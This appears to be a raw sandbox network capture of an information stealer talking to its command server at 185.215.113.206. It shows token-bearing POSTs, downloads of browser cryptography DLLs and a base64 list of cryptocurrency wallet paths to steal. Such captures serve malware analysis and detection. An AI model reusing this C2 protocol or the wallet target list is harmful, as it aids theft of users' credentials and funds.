61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="file"------JKJKKKJJJKJKFHJJJJEC--
Oct 31, 2024 07:14:23.817487001 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:24.307329893 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file"------KJEBKJDAFHJDGDHJKKEG--
Oct 31, 2024 07:14:25.085486889 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:25.286511898 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:25.636068106 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 31, 2024 07:14:25.636079073 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 31, 2024 07:14:25.636116982 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 31, 2024 07:14:25.636174917 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 31, 2024 07:14:25.636187077 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 31, 2024 07:14:25.636195898 CET	336	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 31, 2024 07:14:25.636607885 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Oct 31, 2024 07:14:25.636616945 CET	112	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>
Oct 31, 2024 07:14:25.636751890 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 31, 2024 07:14:28.698767900 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:28.986975908 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 31, 2024 07:14:30.662096024 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:30.950475931 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 31, 2024 07:14:31.747442961 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:32.036319017 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 31, 2024 07:14:34.010896921 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:34.299345970 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 31, 2024 07:14:34.574584007 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:34.863008976 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 31, 2024 07:14:35.482146978 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 07:14:36.267904997 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:36.557107925 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="message"wallets------EGIJKEHCAKFCAKFHDAAA--
Oct 31, 2024 07:14:36.847624063 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 31, 2024 07:14:36.850769043 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"files------AAEGHJKJKKJDHIDHJKJD--
Oct 31, 2024 07:14:37.140925884 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
